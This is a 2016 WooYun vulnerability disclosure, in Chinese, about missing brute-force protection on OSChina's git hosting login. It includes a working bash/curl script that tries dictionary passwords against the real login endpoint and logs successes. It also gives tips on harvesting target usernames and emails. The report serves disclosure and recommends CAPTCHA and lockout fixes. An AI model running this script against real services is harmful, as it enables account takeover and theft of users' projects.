当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170920

漏洞标题:开源中国旗下代码托管服务登录可以进行爆破或者撞库

相关厂商:开源中国

漏洞作者: 武器大师

提交时间:2016-01-19 11:00

修复时间:2016-01-24 11:10

公开时间:2016-01-24 11:10

漏洞类型:网络设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-19: 细节已通知厂商并且等待厂商处理中
2016-01-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

开源中国旗下代码托管服务登录可以进行爆破或者撞库,可以导致用户密码泄露(用户的项目也完蛋了)

详细说明:

站点地址:http://git.oschina.net/
首先页面上频繁错误登录,观察是否会出现验证码或者禁止登录情况,发现可以随意登录,无任何限制。
模拟登录并观察post请求具体内容:

4AC76885-0E97-4CD4-BB23-D6D48E684647.png


我们只需要修改用户名或密码,提交post便可以进行爆破(撞库就不演示了)
再使用我自己的账户登录,观察成功和失败的结果,发现成功后会返回"You are being",于是判断也很好写了
使用shell编写个脚本吧,从我的字典文件中获取密码,在shell中for循环传参到curl中进行post请求。
脚本如下:

cd `dirname $0`
function for_file(){
FILENAME=$1
IFS=$'\n'
for i in `cat $FILENAME`
do
md5=`echo -n "$i" | openssl md5`
echo "密码:$i"
username=hellojaxjax%40163.com
result=`curl -H 'Content-Type:application/x-www-form-urlencoded' -k -d "utf8=%E2%9C%93&authenticity_token=J7Ak5%2Fdklcj0NSj1dQyOjMs4UlcSfhDGxqFy5bTs7jc%3D&user%5Blogin%5D=${username}&user%5Bpassword%5D=${i}&user%5Bremember_me%5D=0" 'https://git.oschina.net/login' 2>/dev/null `
echo $result|grep -q 'You are being' && echo -e "爆破成功\n用户名:${username}\n密码${i}" > passwd.log
echo $result|grep -q 'You are being' && break
done
}
for_file ./passwd_simple.txt


运行脚本进行爆破:

B90EC878-DD50-457C-8713-A6F748D8AB89.png


成功后自动停止并把用户名和密码写入到了log中
此托管平台的用户名还是比较好获取的,直接去发现里面找用户,大多可以对应到oschina或者github,发现邮箱并不难,剩下的就看字典了,好的字典效率还是比较高的,然后就放到服务器里面去满满跑脚本就好了。 撞库的话就更方便了,这边就不演示了

漏洞证明:

log文件中记录破解成功的密码:

B90EC878-DD50-457C-8713-A6F748D8AB89.png

修复方案:

类似问题oschina已经遇到过了,现在开发了个代码托管平台却没有注意
1、多次错误需要验证码
2、多次错误限制登录

版权声明:转载请注明来源 武器大师@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-24 11:10

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无